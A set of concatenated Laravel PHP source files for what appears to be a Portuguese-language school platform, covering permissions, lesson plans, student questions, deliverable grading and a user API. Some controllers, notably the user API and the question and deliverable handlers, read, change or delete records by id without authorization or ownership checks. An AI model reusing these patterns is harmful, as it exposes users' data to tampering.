['descricao' => 'Cast Creator', 'codigo' => 'master.cast'], ['descricao' => 'Gestão de áudios', 'codigo' => 'master.cast.audios.consultar'], ['descricao' => 'Gestão de áudios', 'codigo' => 'master.cast.audios.gravar'], ['descricao' => 'Gestão de álbuns', 'codigo' => 'master.cast.albuns.consultar'], ['descricao' => 'Gestão de álbuns', 'codigo' => 'master.cast.albuns.gravar'], ['descricao' => 'Gestão de playlists', 'codigo' => 'master.cast.playlists.consultar'], ['descricao' => 'Gestão de playlists', 'codigo' => 'master.cast.playlists.gravar'], ['descricao' => 'Gestão de roteiros', 'codigo' => 'master.cast.roteiros.consultar'], ['descricao' => 'Gestão de roteiros', 'codigo' => 'master.cast.roteiros.gravar'], // MENU/SUBMENU (FIM) ['descricao' => 'Gestão de conteúdo', 'codigo' => 'master.biblioteca.consultar'], ['descricao' => 'Gestão de conteúdo', 'codigo' => 'master.biblioteca.gravar'], // MENU/SUBMENU ['descricao' => 'Portal do professor', 'codigo' => 'master.professores'], ['descricao' => 'Gestão de artigos', 'codigo' => 'master.professores.artigos.consultar'], ['descricao' => 'Gestão de artigos', 'codigo' => 'master.professores.artigos.gravar'], ['descricao' => 'Cursos para professores', 'codigo' => 'master.professores.cursos.consultar'], ['descricao' => 'Cursos para professores', 'codigo' => 'master.professores.cursos.gravar'], ['descricao' => 'Ranking professor', 'codigo' => 'master.professores.ranking.consultar'], ['descricao' => 'Ranking professor', 'codigo' => 'master.professores.ranking.gravar'], ['descricao' => 'Gestão do Banco de Imagens', 'codigo' => 'master.professores.imagens.consultar'], ['descricao' => 'Gestão do Banco de Imagens', 'codigo' => 'master.professores.imagens.gravar'], // MENU/SUBMENU (FIM) ['descricao' => 'Glossário', 'codigo' => 'master.glossario.consultar'], ['descricao' => 'Glossário', 'codigo' => 'master.glossario.gravar'], // MENU/SUBMENU ['descricao' => 'Portal de gamificação', 'codigo' => 'master.gamificacao'], ['descricao' => 'Gestão de medalhas', 'codigo' => 'master.gamificacao.medalhas.consultar'], ['descricao' => 'Gestão de medalhas', 'codigo' => 'master.gamificacao.medalhas.gravar'], ['descricao' => 'Gestão de habilidades', 'codigo' => 'master.gamificacao.habilidades.consultar'], ['descricao' => 'Gestão de habilidades', 'codigo' => 'master.gamificacao.habilidades.gravar'], ['descricao' => 'Gestão de configurações', 'codigo' => 'master.gamificacao.configuracoes.consultar'], ['descricao' => 'Gestão de configurações', 'codigo' => 'master.gamificacao.configuracoes.gravar'], // MENU/SUBMENU (FIM) ['descricao' => 'Gestão dos testes de nivelamento', 'codigo' => 'master.nivelamento.consultar'], ['descricao' => 'Gestão dos testes de nivelamento', 'codigo' => 'master.nivelamento.gravar'], ['descricao' => 'Gestão do plano de aulas', 'codigo' => 'master.plano.consultar'], ['descricao' => 'Gestão do plano de aulas', 'codigo' => 'master.plano.gravar'], ['descricao' => 'Gestão de turmas', 'codigo' => 'master.turmas.consultar'], ['descricao' => 'Gestão de turmas', 'codigo' => 'master.turmas.gravar'], ['descricao' => 'Mural da escola', 'codigo' => 'master.mural.escola.consultar'], ['descricao' => 'Mural da escola', 'codigo' => 'master.mural.escola.gravar'], ['descricao' => 'Mural da gestão da escola', 'codigo' => 'master.mural.manager.consultar'], ['descricao' => 'Mural da gestão da escola', 'codigo' => 'master.mural.manager.gravar'], ['descricao' => 'Entregáveis', 'codigo' => 'master.entregaveis.consultar'], ['descricao' => 'Entregáveis', 'codigo' => 'master.entregaveis.gravar'], ['descricao' => 'Dúvidas de alunos', 'codigo' => 'master.alunos.duvidas.consultar'], ['descricao' => 'Dúvidas de alunos', 'codigo' => 'master.alunos.duvidas.gravar'], ['descricao' => 'Relatórios', 'codigo' => 'master.relatorios.consultar'], ['descricao' => 'Relatórios', 'codigo' => 'master.relatorios.gravar'], // FIM MENU PROFESSOR // MENU ALUNO ['descricao' => 'Home do aluno', 'codigo' => 'play.home.consultar'], ['descricao' => 'Home do aluno', 'codigo' => 'play.home.gravar'], ['descricao' => 'Central de jogos', 'codigo' => 'play.jogos.consultar'], ['descricao' => 'Agenda do aluno', 'codigo' => 'play.agenda.consultar'], ['descricao' => 'Agenda do aluno', 'codigo' => 'play.agenda.gravar'], ['descricao' => 'Grade de aula', 'codigo' => 'play.grade.consultar'], ['descricao' => 'Grade de aula', 'codigo' => 'play.grade.gravar'], ['descricao' => 'Trilhas do aluno', 'codigo' => 'play.trilhas.consultar'], ['descricao' => 'Trilhas do aluno', 'codigo' => 'play.trilhas.gravar'], ['descricao' => 'Teste de nivelamento', 'codigo' => 'play.nivelamento.consultar'], ['descricao' => 'Teste de nivelamento', 'codigo' => 'play.nivelamento.gravar'], ['descricao' => 'Estatíscias e habilidades', 'codigo' => 'play.estatisca.consultar'], ['descricao' => 'Estatíscias e habilidades', 'codigo' => 'play.estatisca.gravar'], ['descricao' => 'Conquistas e recompensas', 'codigo' => 'play.conquistas.consultar'], ['descricao' => 'Conquistas e recompensas', 'codigo' => 'play.conquistas.gravar'], //MENU/SUBMENU ['descricao' => 'Sala de estudos', 'codigo' => 'play.estudos'], ['descricao' => 'Artigos do aluno', 'codigo' => 'play.estudos.artigos.consultar'], ['descricao' => 'Artigos do aluno', 'codigo' => 'play.estudos.artigos.gravar'], ['descricao' => 'Biblioteca do aluno', 'codigo' => 'play.estudos.biblioteca.consultar'], ['descricao' => 'Biblioteca do aluno', 'codigo' => 'play.estudos.biblioteca.gravar'], ['descricao' => 'Glossário do aluno', 'codigo' => 'play.estudos.glossario.consultar'], ['descricao' => 'Glossário do aluno', 'codigo' => 'play.estudos.glossario.gravar'], //MENU/SUBMENU (FIM) //MENU/SUBMENU ['descricao' => 'Comunidade', 'codigo' => 'play.comunidade.'], ['descricao' => 'Mural da escola (aluno)', 'codigo' => 'play.comunidade.escola.consultar'], ['descricao' => 'Mural da escola (aluno)', 'codigo' => 'play.comunidade.escola.gravar'], ['descricao' => 'Mural da turma (aluno)', 'codigo' => 'play.comunidade.turma.consultar'], ['descricao' => 'Mural da turma (aluno)', 'codigo' => 'play.comunidade.turma.gravar'], ['descricao' => 'Fale com o professor', 'codigo' => 'play.comunidade.professor.consultar'], ['descricao' => 'Fale com o professor', 'codigo' => 'play.comunidade.professor.gravar'], ['descricao' => 'Canal do professor', 'codigo' => 'play.comunidade.canal.professor.consultar'], ['descricao' => 'Canal do professor', 'codigo' => 'play.comunidade.canal.professor.gravar'], //MENU/SUBMENU (FIM) //FIM MENU ALUNO // MENU NAV BAR ['descricao' => 'Gestão', 'codigo' => 'navbar.manager.consultar'], ['descricao' => 'Configurações', 'codigo' => 'navbar.configuracoes.consultar'], ['descricao' => 'Ajuda', 'codigo' => 'navbar.ajuda'] //FIM MENU NAV BAR ]; foreach ($funcionalidades as $funcionalidade) { Funcionalidade::create([ 'descricao' => $funcionalidade['descricao'], 'codigo' => $funcionalidade['codigo'] ]); } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('funcionalidades'); } } <file_sep>/app/Http/Controllers/NotificacaoController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Illuminate\Support\Facades\Storage; use Auth; use Redirect; use Session; use Carbon\Carbon; use App\User; use App\Notificacao; class NotificacaoController extends Controller { public function excluirNotificacao($notificaca_id) { if($notificaca_id == "todas") { Notificacao::where([['user_id', '=', Auth::user()->id]])->delete(); return response()->json(['success' => 'Notificações excluídas com sucesso!']); } else if(Notificacao::where([['user_id', '=', Auth::user()->id], ['id', '=', $notificaca_id]])->first() != null) { Notificacao::where([['user_id', '=', Auth::user()->id], ['id', '=', $notificaca_id]])->delete(); return response()->json(['success' => 'Notificação excluída com sucesso!']); } else { return response()->json(['error' => 'Notificação não encontrada!']); } } } <file_sep>/app/Http/Controllers/Metricas/Api/MetricasController.php <?php namespace App\Http\Controllers\Metricas\Api; use App\Entities\Metrica\Api\Repository as Metrica; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; class MetricasController extends Controller { private $metrica; public function __construct(Metrica $metrica) { $this->metrica = $metrica; } public function nova(Request $request) { if ($request->get('titulo') == null) { return response()->json(["error" => "O campo Título é obrigatório"]); } if ($this->metrica->store([ 'titulo' => $request->get('titulo'), 'descricao' => $request->get('descricao'), 'user_id' => Auth::user()->id ])) { return response()->json(["success" => "Métrica cadastrada com sucesso!"]); } return response()->json(["error" => "Erro cadastar uma nova métrica"]); } } <file_sep>/app/Entities/Metrica/Api/Repository.php <?php namespace App\Entities\Metrica\Api; use App\Metrica; class Repository { private $metrica; public function __construct(Metrica $metrica) { $this->metrica = $metrica; } public function store($values) { return $this->metrica->create($values); } }<file_sep>/app/Http/Controllers/DuvidaController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Auth; use Redirect; use Session; use Carbon\Carbon; use App\User; use App\Conteudo; use App\Metrica; use App\AvaliacaoInstrutor; use App\DuvidaProfessor; use App\ComentarioDuvidaProfessor; use App\Turma; class DuvidaController extends Controller { public function index($idProfessor) { $professor = User::with('escola')->find($idProfessor); if($professor == null) { return redirect()->back()->withErrors("Professor não encontrado!"); } else if(strtoupper($professor->permissao) != "P" && strtoupper($professor->permissao) != "G" && strtoupper($professor->permissao) != "Z") { return redirect()->back()->withErrors("Professor não encontrado!"); } if(AvaliacaoInstrutor::where('instrutor_id', '=', $idProfessor)->avg('avaliacao') > 0) $avaliacaoInstrutor = AvaliacaoInstrutor::where('instrutor_id', '=', $idProfessor)->avg('avaliacao'); else $avaliacaoInstrutor = '-'; $duvidas = DuvidaProfessor::where([['professor_id', '=', $idProfessor]]) ->orderBy('status', 'asc') ->orderBy('created_at', 'desc') ->get(); // ->sortBy('status'); foreach ($duvidas as $duvida) { $duvida->qt_comentarios = ComentarioDuvidaProfessor::where([['duvida_id', '=', $duvida->id]])->count(); } // dd($duvidas); return view('duvidas-professor')->with(compact('duvidas', 'professor', 'avaliacaoInstrutor')); } public function postNovaDuvida($idProfessor, Request $request) { if(User::find($idProfessor) == null) { Redirect::back()->withErrors(['Professor não encontrado!']); } else { $duvida = DuvidaProfessor::create([ 'professor_id' => $idProfessor, 'user_id' => Auth::user()->id, 'titulo' => $request->titulo, 'descricao' => $request->descricao ]); return Redirect::back()->with('message', 'Dúvida enviada com sucesso!'); } } public function duvida($idProfessor, $idDuvida) { $duvida = DuvidaProfessor::with('professor', 'user', 'comentarios')->has('professor')->has('user')->find($idDuvida); // dd($duvida); if($duvida == null) { return redirect()->route('professor.duvidas', $idProfessor)->withErrors("Dúvida não encontrada!"); } if(AvaliacaoInstrutor::where('instrutor_id', '=', $duvida->professor->id)->avg('avaliacao') > 0) $avaliacaoInstrutor = AvaliacaoInstrutor::where('instrutor_id', '=', $duvida->professor->id)->avg('avaliacao'); else $avaliacaoInstrutor = '-'; $turma = Turma::where([['user_id', '=', Auth::user()->id]])->first(); return view('duvida-professor')->with(compact('turma', 'duvida', 'avaliacaoInstrutor')); } public function postAtualizarDuvida($idProfessor, $idDuvida, Request $request) { // dd($idDuvida); if(DuvidaProfessor::find($idDuvida) == null) { return Redirect::back()->withErrors(['Dúvida não encontrada!']); } else { DuvidaProfessor::find($idDuvida)->update([ 'status' => $request->status ]); return Redirect::back()->with('message', 'Dúvida atualizada com sucesso!'); } } public function postExcluirDuvida($idProfessor, $idDuvida) { if(DuvidaProfessor::find($idDuvida) == null) { return Redirect::back()->withErrors(['Dúvida não encontrada!']); } else { DuvidaProfessor::find($idDuvida)->delete(); return Redirect::back()->with('message', 'Dúvida excluída com sucesso!'); } } public function postEnviarComentarioDuvida($idProfessor, $idDuvida, Request $request) { if(DuvidaProfessor::find($idDuvida) == null) { Redirect::back()->withErrors(['Dúvida não encontrada!']); } else { $comentario = ComentarioDuvidaProfessor::create([ 'duvida_id' => $idDuvida, 'user_id' => Auth::user()->id, 'conteudo' => $request->conteudo ]); return Redirect::back();//->with('message', 'Comentário enviado com sucesso!'); } } public function postExcluirComentarioDuvida($idProfessor, $idDuvida, $idComentario) { if(ComentarioDuvidaProfessor::find($idComentario) == null) { return Redirect::back()->withErrors(['Comentário não encontrado!']); } else { ComentarioDuvidaProfessor::find($idComentario)->delete(); return Redirect::back()->with('message', 'Comentário excluído com sucesso!'); } } } <file_sep>/resources/js/pages/gestao/audios.js window.enviarAudio = function () { $("#formNovoAudio #divLoading").addClass("d-none"); $("#formNovoAudio #divEditar").addClass("d-none"); $("#formNovoAudio #divEnviando").removeClass("d-none"); } window.atualizarAudio = function () { $("#formEditarAudio #divLoading").addClass("d-none"); $("#formEditarAudio #divEditar").addClass("d-none"); $("#formEditarAudio #divEnviando").removeClass("d-none"); } <file_sep>/app/Categoria.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class Categoria extends Model { //Preenchiveis protected $fillable = [ 'id', 'user_id', 'titulo', 'tipo', ]; // Tipos de categorias // 0 = Geral // 1 = Cursos // 2 = Conteudos // 3 = Aplicacoes // 4 = Artigos // 5 = Audios // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ ]; // Mutators public function getTipoNameAttribute() { switch ($this->tipo) { case 0: return "Geral"; break; case 1: return "Cursos"; break; case 2: return "Conteudos"; break; case 3: return "Aplicacoes"; break; case 4: return "Artigos"; break; case 5: return "Áudios"; break; default: return "Geral"; break; } } // // Relationship // public function conteudo() { return $this->belongsToMany('App\Conteudo', 'categoria_id'); } public function aplicacao() { return $this->belongsToMany('App\Aplicacao', 'categoria_id'); } public function user() { return $this->belongsTo('App\User', 'user_id'); } } <file_sep>/app/Entities/Desafio/Desafio.php <?php namespace App\Entities\Desafio; use App\User; use Illuminate\Database\Eloquent\Model; class Desafio extends Model { protected $table = "desafios"; protected $hidden = ['pivot']; //Preenchiveis protected $fillable = [ 'user_id', 'titulo', 'descricao', ]; public function user() { return $this->belongsTo(User::class, 'user_id'); } public function getIdAttribute($value) { return "$value"; } } <file_sep>/app/Http/Controllers/PlanoEstudos/Alunos/PlanoEstudosController.php <?php namespace App\Http\Controllers\PlanoEstudos\Alunos; use Illuminate\Http\Request; use App\Http\Controllers\Controller; class PlanoEstudosController extends Controller { public function index() { return view('pages.plano-estudos.alunos.index'); } } <file_sep>/database/migrations/2019_08_08_111945_create_curso_completo_table.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; class CreateCursoCompletoTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('curso_completo', function(Blueprint $table) { $table->integer('id', true); $table->integer('curso_id'); $table->integer('user_id'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('curso_completo'); } } <file_sep>/app/ComentarioDuvidaProfessor.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class ComentarioDuvidaProfessor extends Model { protected $table = 'comentario_duvida_professor'; //Preenchiveis protected $fillable = [ 'duvida_id', 'user_id', 'conteudo', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ ]; public function duvida() { return $this->belongsTo('App\DuvidaProfessor', 'duvida_id'); } public function user() { return $this->belongsTo('App\User', 'user_id'); } } <file_sep>/app/Http/Controllers/PlanoAulas/Admin/PlanoAulasController.php <?php namespace App\Http\Controllers\PlanoAulas\Admin; use App\Conteudo; use App\Entities\GradeAula\GradeAula; use App\Entities\PlanoAula\PlanoAula; use App\Entities\PlanoAula\PlanoAulaAnexo; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Carbon; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Session; class PlanoAulasController extends Controller { private function gradeAulas() { return GradeAula::where('user_id', Auth::user()->id)->select('titulo', 'id', 'recorrente', 'dia', 'data')->get(); } private function conteudos() { return Conteudo::select('id', 'titulo')->get(); } private function checkAndStoreAnexos($request, $planoAulaId, $update = null) { $checkAtividades = array_key_exists('atividades', $request->all()); $checkMateriais = array_key_exists('materiais', $request->all()); if ($update === true) { if ($checkAtividades) { PlanoAulaAnexo::where('plano_aula_id', $planoAulaId)->where('tipo', 1)->delete(); foreach ($request->get('atividades') as $atividade) { PlanoAulaAnexo::create([ 'tipo' => 1, 'plano_aula_id' => $planoAulaId, 'conteudo_id' => $atividade ]); } } else { PlanoAulaAnexo::where('plano_aula_id', $planoAulaId)->where('tipo', 1)->delete(); } if ($checkMateriais) { PlanoAulaAnexo::where('plano_aula_id', $planoAulaId)->where('tipo', 2)->delete(); foreach ($request->get('materiais') as $material) { PlanoAulaAnexo::create([ 'tipo' => 2, 'plano_aula_id' => $planoAulaId, 'conteudo_id' => $material ]); } } else { PlanoAulaAnexo::where('plano_aula_id', $planoAulaId)->where('tipo', 2)->delete(); } } if ($checkAtividades) { foreach ($request->get('atividades') as $atividade) { PlanoAulaAnexo::create([ 'tipo' => 1, 'plano_aula_id' => $planoAulaId, 'conteudo_id' => $atividade ]); } } if ($checkMateriais) { foreach ($request->get('materiais') as $material) { PlanoAulaAnexo::create([ 'tipo' => 2, 'plano_aula_id' => $planoAulaId, 'conteudo_id' => $material ]); } } } private function checkAnoSession($value) { // Verifica se já existe uma session if (Session::has('anos')) { // verifica se o valor enviado já existe na session if (in_array($value, Session::get('anos'))) { $session = Session::get('anos'); Session::forget('anos'); Session::put('anos', array_diff($session, [$value])); } else { // adiciona novo item na sessão Session::push('anos', $value); } } else { //Se não existir, cria nova sessão Session::put('anos', [$value]); } // retorna os itens da sessão return Session::get('anos'); } private function checkDisciplinaSession($value) { // Verifica se já existe uma session if (Session::has('disciplina')) { // verifica se o valor enviado já existe na session if (in_array($value, Session::get('disciplina'))) { $session = Session::get('disciplina'); Session::forget('disciplina'); Session::put('disciplina', array_diff($session, [$value])); } else { // adiciona novo item na sessão Session::push('disciplina', $value); } } else { //Se não existir, cria nova sessão Session::put('disciplina', [$value]); } // retorna os itens da sessão return Session::get('disciplina'); } public function getDaysAjax($idGrade) { $dates = []; $checkDates = PlanoAula::where('grade_aula_id', $idGrade)->select('data')->get(); foreach ($checkDates as $check) { $dates[] = date('d/m/Y', strtotime($check->data)); } return $dates; } public function index() { Session::forget(['anos', 'disciplina']); $gradeAulas = $this->gradeAulas(); $planos = PlanoAula::where('user_id', Auth::user()->id)->latest('created_at')->paginate(5); $anos = PlanoAula::select('ano_serie')->groupBy('ano_serie')->get(); $disciplinas = PlanoAula::select('materia')->groupBy('materia')->get(); $conteudos = $this->conteudos(); return view('pages.plano-aulas.admin.index', compact('gradeAulas', 'planos', 'conteudos', 'anos', 'disciplinas')); } public function filtrar(Request $request) { if ($request->get('input-ano')) { $filterAno = $this->checkAnoSession($request->get('input-ano')); $planos = PlanoAula::where('user_id', Auth::user()->id) ->whereIn('ano_serie', $filterAno) ->latest('created_at')->paginate(5); if (empty($filterAno)) { return redirect()->route('gestao.plano-aulas.listar'); } } if ($request->get('input-disciplina')) { $filterDisciplina = $this->checkDisciplinaSession($request->get('input-disciplina')); $planos = PlanoAula::where('user_id', Auth::user()->id) ->whereIn('materia', $filterDisciplina) ->latest('created_at')->paginate(5); if (empty($filterDisciplina)) { return redirect()->route('gestao.plano-aulas.listar'); } } if (Session::has('anos') && Session::has('disciplina')) { $planos = PlanoAula::where('user_id', Auth::user()->id) ->whereIn('ano_serie', Session::get('anos'), 'and') ->whereIn('materia', Session::get('disciplina')) ->latest('created_at')->paginate(5); } $gradeAulas = $this->gradeAulas(); $anos = PlanoAula::select('ano_serie')->groupBy('ano_serie')->get(); $disciplinas = PlanoAula::select('materia')->groupBy('materia')->get(); $conteudos = $this->conteudos(); return view('pages.plano-aulas.admin.index', compact('gradeAulas', 'planos', 'conteudos', 'anos', 'disciplinas')); } public function busca(Request $request) { Session::forget(['anos', 'disciplina']); $gradeAulas = $this->gradeAulas(); $anos = PlanoAula::select('ano_serie')->groupBy('ano_serie')->get(); $disciplinas = PlanoAula::select('materia')->groupBy('materia')->get(); $conteudos = $this->conteudos(); $planos = PlanoAula::where('user_id', Auth::user()->id) ->where('assunto', 'LIKE', '%' . $request->get('search') . '%') ->latest('created_at')->paginate(5); return view('pages.plano-aulas.admin.index', compact('gradeAulas', 'planos', 'conteudos', 'anos', 'disciplinas')); } public function store(Request $request) { $this->validate($request, [ 'grade_aula_id' => 'required', 'assunto' => 'required', 'tarefa_classe' => 'required' ]); $values = $request->all(); $values['user_id'] = Auth::user()->id; if ($request->get('data')) { $values['data'] = date('Y-m-d', strtotime($request->get('data'))); } else { $values['data'] = GradeAula::find($request->get('grade_aula_id'))->data; } $planoAulaId = PlanoAula::create($values)->id; $this->checkAndStoreAnexos($request, $planoAulaId); return redirect()->route('gestao.plano-aulas.listar')->with('message', 'Plano de aula cadastrado com sucesso!'); } public function update($idPlano, Request $request) { $this->validate($request, [ 'grade_aula_id' => 'required', 'assunto' => 'required', 'tarefa_classe' => 'required' ]); $values = $request->all(); if ($request->get('data')) { $values['data'] = date('Y-m-d', strtotime($request->get('data'))); } else { $values['data'] = GradeAula::find($request->get('grade_aula_id'))->data; } PlanoAula::find($idPlano)->update($values); $this->checkAndStoreAnexos($request, $idPlano, true); return redirect()->route('gestao.plano-aulas.listar')->with('message', 'Plano de aula atualizado com sucesso!'); } public function delete(Request $request) { PlanoAula::find($request->idPlano)->delete(); return redirect()->route('gestao.plano-aulas.listar')->with('message', 'Plano de aula excluído com sucesso!'); } } <file_sep>/app/Http/Controllers/EntregaveisController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Auth; use Redirect; use Session; use Carbon\Carbon; use App\Escola; use App\Curso; use App\Aula; use App\Conteudo; use App\ConteudoCompleto; use App\Categoria; class EntregaveisController extends Controller { public function index() { // if(strtoupper(Auth::user()->permissao) == "Z") { $conteudosEntregaveis = Conteudo::with('conteudo_aula')->whereHas('conteudo_aula')->where([['tipo', '=', '7']])->orWhere([['tipo', '=', '10']])->get(); } // else // { // $conteudosEntregaveis = Conteudo::where([['tipo', '=', '7'], ['user_id', '=', Auth::user()->id]])->orWhere([['tipo', '=', '10'], ['user_id', '=', Auth::user()->id]])->get(); // } // dd($conteudosEntregaveis); $idCursos = []; foreach ($conteudosEntregaveis as $key => $conteudo) { if($conteudo->conteudo_aula != null) if(!in_array($conteudo->conteudo_aula->curso_id, $idCursos)) { array_push($idCursos, $conteudo->conteudo_aula->curso_id); } } $cursos = Curso::whereIn('id', $idCursos)->get(); // dd($cursos); // dd($conteudosEntregaveis); return view('gestao.entregaveis')->with(compact('cursos')); } public function getEntregaveisCurso($idCurso) { if(Curso::find($idCurso) != null) { $curso = Curso::find($idCurso); } else { return redirect()->back()->withErrors("Curso não encontrado!"); } // if(strtolower(Auth::user()->permissao) == "z") { $conteudos = Conteudo:: with('conteudo_aula') ->whereHas('conteudo_aula', function ($query) use ($idCurso) { $query->where([['curso_id', '=', $idCurso]]); }) ->where(function ($query) { $query->where([['tipo', '=', '7']]) ->orWhere([['tipo', '=', '9']]) ->orWhere([['tipo', '=', '10']]); })->get(); } // else // { // $conteudos = Conteudo::where([['tipo', '=', '7'], ['user_id', '=', Auth::user()->id]]) // ->orWhere([['tipo', '=', '9'], ['curso_id', '=', $idCurso]]) // ->orWhere([['tipo', '=', '10'], ['user_id', '=', Auth::user()->id], ['curso_id', '=', $idCurso]])->get(); // } foreach ($conteudos as $index => $conteudo) { $conteudo->respostas = ConteudoCompleto::with('user')->where([['curso_id', '=', $conteudo->conteudo_aula->curso_id], ['aula_id', '=', $conteudo->conteudo_aula->aula_id], ['conteudo_id', '=', $conteudo->id]])->get(); $conteudo->data = $conteudo->created_at->format('d/m/Y \à\s H:i'); if($conteudo->tipo == 7 || $conteudo->tipo == 9) { $conteudo->conteudo = json_decode($conteudo->conteudo); } if($conteudo->tipo == 9) { $conteudo->provaQuiz = true; foreach ($conteudo->conteudo as $pergunta) { if($pergunta->tipo == 1) { $conteudo->provaQuiz = false; } } if($conteudo->provaQuiz) { $conteudos->forget($index); } } // foreach ($conteudo->respostas as $resposta) // { // $resposta-> // } } // dd($conteudos); return view('gestao.entregaveis')->with(compact('curso', 'conteudos')); } public function postCorrigirResposta($idCurso, $idResposta, Request $request) { if(Curso::find($idCurso) != null) { $curso = Curso::find($idCurso); } else { return response()->json(['error' => 'Curso não encontrado!']); } if(ConteudoCompleto::with('user')->where([['curso_id', '=', $idCurso], ['id', '=', $idResposta]])->first() == null) { return response()->json(['error' => 'Resposta não encontrada!']); } $resp = ConteudoCompleto::with('user')->where([['curso_id', '=', $idCurso], ['id', '=', $idResposta]])->first(); // if(Conteudo::where([['curso_id', '=', $idCurso], ['aula_id', '=', $resp->aula_id], ['id', '=', $resp->conteudo_id]])->first() == null) if(Conteudo::whereHas('conteudo_aula', function ($query) use ($idCurso, $resp) { $query->where([['curso_id', '=', $idCurso], ['aula_id', '=', $resp->aula_id], ['conteudo_id', '=', $resp->conteudo_id]]); })->first() == null) { return response()->json(['error' => 'Conteúdo não encontrado!']); } // $conteudo = Conteudo::where([['curso_id', '=', $idCurso], ['aula_id', '=', $resp->aula_id], ['id', '=', $resp->conteudo_id]])->first(); $conteudo = Conteudo::whereHas('conteudo_aula', function ($query) use ($idCurso, $resp) { $query->where([['curso_id', '=', $idCurso], ['aula_id', '=', $resp->aula_id]]); }) ->where([['id', '=', $resp->conteudo_id]])->first(); $resp->resposta = json_decode($resp->resposta); $conteudo->conteudo = json_decode($conteudo->conteudo); if($conteudo->tipo == 9) { $newResp = $request->correta; foreach($request->correta as $index => $resposta) { if($resposta == null) { if($conteudo->conteudo[$index]->correta == $resp->resposta[$index]) { $newResp[$index] = 1; } else { $newResp[$index] = 0; } } } ConteudoCompleto::with('user')->where([['curso_id', '=', $idCurso], ['id', '=', $idResposta]])->first()->update([ 'correta' => json_encode($newResp) ]); } else { if($request->correta == null) { return response()->json(['error' => 'Correção inválida!']); } elseif($request->correta !== "true" && $request->correta !== "false") { return response()->json(['error' => 'Correção inválida!', 'correta' => $request->correta ]); } ConteudoCompleto::with('user')->where([['curso_id', '=', $idCurso], ['id', '=', $idResposta]])->first()->update([ 'correta' => $request->correta === "true" ? 1 : 0 ]); } return response()->json(['success' => 'Resposta corrigida com sucesso!']); } public function getArquivoEntregavel($idResposta) { if(ConteudoCompleto::with('user')->where([['id', '=', $idResposta]])->first() == null) { return response()->view('errors.404'); } $resposta = ConteudoCompleto::with('user')->where([['id', '=', $idResposta]])->first(); if(\Storage::disk('local')->has('uploads/entregavel/aluno/' . $resposta->user_id . '/' . $resposta->resposta)) { return \Storage::disk('local')->response('uploads/entregavel/aluno/' . $resposta->user_id . '/' . $resposta->resposta); } else { return response()->view('errors.404'); } } } <file_sep>/app/Http/Controllers/API/UserController.php <?php namespace App\Http\Controllers\API; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Lang; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Facades\Hash; use App\Entities\GamificacaoUsuario\GamificacaoUsuario; use App\Http\Controllers\Controller; use App\User; use Tymon\JWTAuth\Facades\JWTAuth; class UserController extends Controller { public function __construct() { $user = new User(); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { try { $users = User::all(); return response()->json(["data" => $users]); } catch (\Exception $exception) { return response()->json(["error" => true, "message" => $exception->getMessage()], 500); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { try { $validate = Validator::make($request->data, [ 'name' => ['required', 'string', 'max:255'], 'email' => ['required', 'string', 'email', 'max:255', 'unique:users'], 'data_nascimento' => ['required', 'string'], 'password' => ['required', 'string', '<PASSWORD>', '<PASSWORD>'] ]); if ($validate->fails()) return response()->json(["error" => true, "message" => $validate->errors()], 500); $dateInput = str_replace("/", '-', $request->data['data_nascimento']); $user = User::create([ 'name' => $request->data['name'], 'email' => $request->data['email'], 'data_nascimento' => date('Y-m-d', strtotime($dateInput)), 'password' => <PASSWORD>($request->data['password']), 'ultima_atividade' => date("Y-m-d H:i:s") ]); $GamificacaoUsuario = new GamificacaoUsuario(); $gamificacao = GamificacaoUsuario::create([ 'xp' => 0, 'user_id' => $user->id ]); $user["xp"] = $gamificacao->xp; $user["level"] = $GamificacaoUsuario->getLevel($gamificacao->xp); $message = Lang::get("messages.mensagem_cadastro", ["nome" => "Usuário", "artigo" => "o"]); return response()->json(["message" => $message, "data" => $user]); } catch (\Exception $exception) { return response()->json(["error" => true, "message" => $exception->getMessage()], 500); } } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { try { $user = User::findOrFail($id); $GamificacaoUsuario = new GamificacaoUsuario(); $xp = GamificacaoUsuario::select('xp')->where('user_id', $user->id)->first()["xp"]; $user["xp"] = $xp; $user["level"] = $GamificacaoUsuario->getLevel($xp); return response()->json(["data" => $user]); } catch (\Exception $exception) { return response()->json(["error" => true, "message" => $exception->getMessage()], 500); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { try { $user = User::findOrFail($id); DB::beginTransaction(); $user->update($request->data); $message = Lang::get("messages.mensagem_atualizado", ["nome" => "Usuário", "artigo" => "o"]); DB::commit(); return response()->json(["message" => $message]); } catch (\Exception $exception) { return response()->json(["error" => true, "message" => $exception->getMessage()], 500); } } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { try { $gamificacao = GamificacaoUsuario::where('user_id', $id); $gamificacao->delete(); $user = User::findOrFail($id); $user->delete(); $message = Lang::get("messages.mensagem_removido", ["nome" => "Usuário", "artigo" => "o"]); return response()->json(["message" => $message, "data" => $user]); } catch (\Exception $exception) { return response()->json(["error" => true, "message" => $exception->getMessage()], 500); } } } 